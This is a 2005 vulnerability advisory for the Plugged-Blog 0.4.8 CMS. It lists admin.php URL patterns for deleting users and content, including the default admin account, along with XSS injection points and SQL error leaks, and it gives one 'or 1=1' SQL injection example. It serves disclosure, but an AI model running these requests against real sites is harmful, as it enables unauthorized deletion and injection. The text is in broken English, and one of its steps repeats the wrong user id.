Plugged-Blog XSS and SQL-Injection flaw & Remove Admin

###############################
Plugged-Blog XSS and SQL-Injection flaw & Remove Admin
vendor url: http://www.pluggedout.com
advisory: http://falcondeoro.blogspot.com/2005/07/plugged-blog-xss-and-sql-injection.html
vendor notify: yes exploit available: yes
###############################


Plugged-Blog is a CMS WebBlog-Portal content management systen, theinstall es very easy to use and configure,it's great to use, it'sspeed.It's have a Readme and very well It's solution to all WebMasterand normal users to level down.

#########versions#########

0.4.8

#########Solution#########

No solution at this time !

!#########Timeline########

Discovered: 29-07-2005
vendor notify: 29-07-2005
disclosure: 30-07-2005

####### Bad Definition ########
-Bad definition to variable userid=
-Bad definition to variable contentid=
-Bad definition to variable templateid=
-Bad definition to variable doctupeid=
-Bad definition to variable list_from=
-Bad definition to variable usertypeid=
-Bad definition to variable templateid=
-bad definition to variable contenttypeid=

http://[victim]/admin.php?action=user_del&userid=[change-valor-actually-ascendent]

http://[victim]/admin.php?action=content_del&contentid=[change-valor-actually-ascendent]

http://[victim]/admin.php?action=template_edit&templateid=[change-valor-actually-ascendent]

http://[victim]/admin.php?action=document_add&doctypeid=[change-valor-actually-ascendent]

http://[victim]/admin.php?action=user_list&list_from=[change-valor-actually-ascendent]

http://[victim]/admin.php?action=usertype_edit&usertypeid=[change-valor-actually-ascendent]


http://[victim]/admin.php?action=template_del&templateid=[change-valor-actually-ascendent]



What do you want remove if it doesen't have nothing? :D

http://[victim]/admin.php?action=contenttype_del&contenttypeid=[change-valor-actually-ascendent]

What do you want remove if it doesn't have nothing? :p

######## How remove Admin ########

For default, the users Admin and Guest exist. And the userid to admin is 2, and the userid for the guest is 1.If you want to remove Admin, you write on browser :

http://[victim]/admin.php?action=user_del&userid=2

If you want to remove Guest, you write on browser :

http://[victim]/admin.php?action=user_del&userid=2

Observation: You require login for the user Admin.

##################Proof of comcepts##################

In the messages we want write XSS code and we see in WebBlog Home.If you writes message XSS Code, in the url :

####### XSS message #######

http://[victim]/admin.php?action=report_statistics&report=visitors

http://[victim]/admin.php?action=content_list

http://[victim]/admin.php?action=report_statistics&report=page_hits

Select the ID to visit (only if he see the message XSS) and we seethe XSS.


#########
XSS
#########


http://[victim]/admin.php?action=content_edit&contentid=[XSS-Code]

http://[victim]/admin.php?action=report_statistics&report=visitors&&s=[XSS-Code]


#########
Observation
#########

http://[victim]/admin.php?action=template_del&templateid=[change-valor-actually-ascendent]

What do you want remove, if it doesen't have nothing? :D

http://[victim]/admin.php?action=contenttype_del&contenttypeid=[change-valor-actually-ascendent]

What do you want remove if it doesn't have nothing? :p


###########
Errors SQl & Sql Injection
###########

If you write XSS code in the url :
http://[victim]/admin.php?action=contenttype_edit&contenttypeid=[XSS-Code]

Or you change the definition to contenttypeid=[change-the-valor]

you can see the message error:
Problem with SQL

[SELECTnContentSecurityId,cms_ContentSecurity.nUserTypeId,
cms_ContentSecurity.nContentTypeId,cUserTypeName,cView,cAdd,cEdit,cDelete,
cApproveFROM cms_ContentSecurity INNER JOIN cms_UserType ONcms_ContentSecurity.nUserTypeId=cms_UserType.nUserTypeId WHEREnContentTypeId= ORDER BY cUserTypeName]

And the table to message :

Problem with SQL [SELECT * FROM cms_ContentTypeProperties WHEREnContentTypeId= ORDER BY nSortIndex]

You can see the Tables and fields.

If you write XSS code in the url to up, you can see the message error:Could not find record [SELECT * FROM cms_Content WHERE nContentId=;]

And you have the name to the Table and the field affected.

http://[victim]/admin.php?action=report_statistics&report=visitors&list_from=[SQL-Injection]

And you see these error:SELECT COUNT(nStatisticId) AS nCount,MAX(dView) ASdLastView,cSessionId,cIPAddress FROM cms_Statistics GROUP BYcSessionId,cIPAddress ORDER BY dLastView DESC LIMIT or 1=1,20


######################## €nd ##########################

Thxs to Lostmon for support (lostmon@gmail.com) http://lostmon.blogspot.com/

Atentamente:

FalconDeOro (falcondeoro.blogspot.com)
Web-Blog: http://falcondeoro.blogspot.com/